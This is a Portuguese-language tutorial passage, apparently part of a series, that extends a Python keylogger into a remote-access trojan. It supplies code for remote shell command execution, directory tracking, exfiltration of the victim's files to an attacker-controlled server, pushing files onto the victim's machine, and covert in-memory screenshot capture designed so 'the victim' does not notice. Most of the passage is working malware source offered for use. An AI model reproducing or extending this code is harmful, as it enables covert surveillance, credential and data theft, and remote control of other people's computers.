Podemos executar comandos do sistema no Python, que não será exatamente um shell verdadeiro, mas podemos executar alguns comandos com a biblioteca subprocess.
No nosso keylogger, crie essa função:
def runComand(comand, sock):
# Coloque import subprocess no início do código
result = subprocess.run(comand, shell = True, text = True, capture_output = True) # O text retorna um texto
saida = result.stdout
erro = result.stderr
if saida:
sendData("alerta", saida, sock)
elif erro:
sendData("alerta", erro, sock)
E na função recvData do keylogger, vamos colocar um else no if dos comandos:
if comando.lower() == "sk1":
# Aqui não mexe em nada
elif comando.lower() == "sk0":
# Aqui também não mexe em nada
elif comando.lower() == "exit":
# Nem aqui
else:
runComand(comando, sock) # Sem lower
PS: Caso dê erro ao utilizar comandos com várias linhas como o dir, vá no sendData do keylogger e coloque uma quebra de linha no packet, assim:
packet = json.dumps(rawPacket) + "\n"
E modifique a função recvData do servidor assim:
def recvData(sock):
buffer = ""
while True:
try:
rawData = sock.recv(1024)
if not rawData:
break
buffer += rawData.decode(errors = "ignore")
while "\n" in buffer:
linha, buffer = buffer.split("\n", 1)
if not linha.strip():
continue
data = json.loads(linha) # Importe json
if "tecla" in data:
with open("teclas.txt", "a") as arqKey:
arqKey.write(f"{data["tecla"]}\n")
elif "alerta" in data:
msg = data["alerta"]
print(f"[!] {msg} \nComando > ", end = "")
except OSError:
break
Lembrando que o comando cd ele não muda o diretório do programa. Isso corrigiremos depois.
Na mesma função acima, em servidor, coloque abaixo do elif de alerta esse elif aqui:
elif "comando" in data:
comando = data["comando"]
print(f"\n{comando} \nComando > ", end = "")
E no keylogger, em runComand, altere o if else pra isso:
if saida:
sendData("comando", saida, sock)
elif erro:
sendData("comando", erro, sock)
No recvData do keylogger, faça a alteração do início da função assim:
def recvData(sock):
global monitorar, pwd
pwd = os.getcwd() # Isso pega a pasta atual que ele está executando
monitorar = False
# O restante permanece igual
E o runComand do keylogger, deixe ele assim:
def runComand(comand, sock):
global pwd
if comand[:3] == "cd ": # Não esqueça do espaço
result = subprocess.run(comand + " & cd", shell = True, text = True, capture_output = True, cwd = pwd)
saida = result.stdout
erro = result.stderr
if saida:
pwd = saida.strip()
elif erro:
sendData("comando", erro, sock)
else:
result = subprocess.run(comand, shell = True, text = True, capture_output = True, cwd = pwd) # Adicionando outro parâmetro
saida = result.stdout
erro = result.stderr
if saida:
sendData("comando", saida, sock)
elif erro:
sendData("comando", erro, sock)
Nos nossos scripts, podemos baixar e fazer uploads de arquivos também, utilizando comandos. No caso, usaríamos um comando como download nomedoarquivo.jpg.
No keylogger, vamos criar esse elif após o elif exit, em recvData:
elif comando[:9] == "download ": # Não esqueça do espaço
download(comando, sock)
E no mesmo script, definir a função download assim:
def download(comand, sock):
file = comand[9:]
caminho = f"{pwd}/{file}"
caminho = caminho.replace("\\", "/").replace("C:", "")
if os.path.isfile(caminho):
print("O Arquivo Existe!")
Deixe a função download assim:
def download(comand, sock):
file = comand[9:]
caminho = f"{pwd}/{file}"
caminho = caminho.replace("\\", "/").replace("C:", "")
if os.path.isfile(caminho):
with open(caminho, "rb") as arqFile:
data = base64.b64encode(arqFile.read()).decode() # Importe base64
packet = json.dumps({"download": {file: data}}) + "\n" # Dicionário dentro de outro, como uma matriz, transformado em JSON
sock.sendall((packet + "\n").encode())
else:
sendData("alerta", f"Arquivo [{file}] não encontrado!", sock)
E no recvData do servidor, adicione esse elif após o elif de comando:
elif "download" in data:
down = data["download"]
for d in down:
with open(d, "wb") as arqFile:
arqFile.write(base64.b64decode(down[d])) # Importe base64
print(f"\nArquivo [{d}] recebido com sucesso!\nComando > ", end = "")
Como a gente fez pra baixar arquivos do cliente pro nosso servidor, também podemos fazer que nosso programa envie arquivos pro cliente.
No sendData do servidor, podemos fazer assim:
def sendData(sock):
while True:
rawData = input("Comando > ")
key = "action"
if rawData == "start keylogger":
rawData = "sk1"
elif rawData == "stop keylogger":
rawData = "sk0"
packet = json.dumps({key: rawData})
sock.send(packet.encode())
if rawData == "exit":
sock.close()
exit()
E no recvData do keylogger, faça assim:
def recvData(sock):
# Acima desse if nada é alterado
if rawData:
while True:
try:
pacote = json.loads(rawData.decode())
break
except:
rawData += sock.recv(1024)
if "action" in pacote:
comando = pacote["action"]
if comando.lower() == "sk1":
# Esse if e todos seus elifs e else serão identados dentro do if action, sem alterações no código
Aí, no sendData do servidor, podemos fazer assim, colocando esse elif debaixo do stop keylogger ou do help (caso definido):
elif rawData[:7] == "upload ": # Não esqueça do espaço
upload(rawData, sock)
continue
Daí, no mesmo arquivo, criaremos a função upload, assim:
def upload(file, sock):
file = file[7:]
caminho = file.replace("\\", "/").replace("C:", "")
try:
fileName = caminho.split("/")[-1]
except:
fileName = caminho
if os.path.isfile(caminho): # Importe os
with open(caminho, "rb") as arqFile:
data = base64.b64encode(arqFile.read()).decode()
packet = json.dumps({"download": {fileName: data}})
sock.sendall(packet.encode())
else:
print(f"Arquivo {caminho} não Encontrado!")
E no keylogger, abaixo do if do action, coloque isso:
if "action" in pacote:
# Aqui dentro não mexe em nada
elif "download" in pacote:
down = pacote["download"]
caminho = pwd.replace("\\", "/").replace("C:", "")
for d in down:
with open(f"{caminho}/{d}", "wb") as arqFile:
data = base64.b64decode(down[d])
arqFile.write(data)
sendData("alerta", f"Arquivo {d} enviado com sucesso!", sock)
Daí, no servidor, basta dar o comando upload C:\Users\NomeDoUser\caminhodoarquivo.jpg para enviá-lo ao cliente.
Primeiramente, instale o pacote pillow no Python. Depois de instalado, podemos fazer simplesmente isso pra salvar um print da tela, num arquivo de teste:
from PIL import ImageGrab
screenShot = ImageGrab.grab()
screenShot.save("print.jpg")
Podemos melhorar mais ainda, colocando a data do print, assim:
from PIL import ImageGrab
import datetime
date = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
fileName = f"print-{date}.jpg"
screenShot = ImageGrab.grab()
screenShot.save(fileName)
Só que num malware em ambiente real, a gente não vai salvar num arquivo no computador predado porque a vítima
pode estranhar ver um print que não foi retirado por ele.
Pra salvar no buffer, podemos fazer assim:
from PIL import ImageGrab
import datetime
import io
date = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
fileName = f"print-{date}.jpg"
buffer = io.BytesIO() # Importe io
screenShot = ImageGrab.grab()
screenShot.save(buffer, format = "JPEG")
data = buffer.getvalue()
buffer.close()
# Isso é só pra ver se ele criará um arquivo, retire numa aplicação real
with open("teste.jpg", "wb") as arqFile:
arqFile.write(data)
PS: Utilize JPEG pelo arquivo de imagem ser menor, já que ele será enviado pela rede.
Aí, no nosso keylogger, fazemos assim:
def screenShotImage(sock):
date = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") # Importe datetime
fileName = f"screenshot-{date}.jpg"
buffer = io.BytesIO() # Importe io
screenShot = ImageGrab.grab() # Coloque from PIL import ImageGrab
screenShot.save(buffer, format = "JPEG")
data = buffer.getvalue()
buffer.close()
Na função recvData do keylogger, colocamos esse elif logo abaixo do elif de download:
elif comando == "screenshot":
screenShotImage(sock)
Pra melhorar nosso script, adicione no keylogger essa função:
def sendFile(file, data, sock):
b64data = base64.b64encode(data).decode()
packet = json.dumps({"download": {file: b64data}}) + "\n"
sock.sendall((packet + "\n").encode())
E aí, no if do donwload apenas deixe assim:
if os.path.isfile(caminho):
with open(caminho, "rb") as arqFile:
data = arqFile.read()
sendFile(file, data, sock)
Daí, na função screenShotImage, debaixo do resto do código, coloque a invocação da função sendFile também, assim:
sendFile(fileName, data, sock)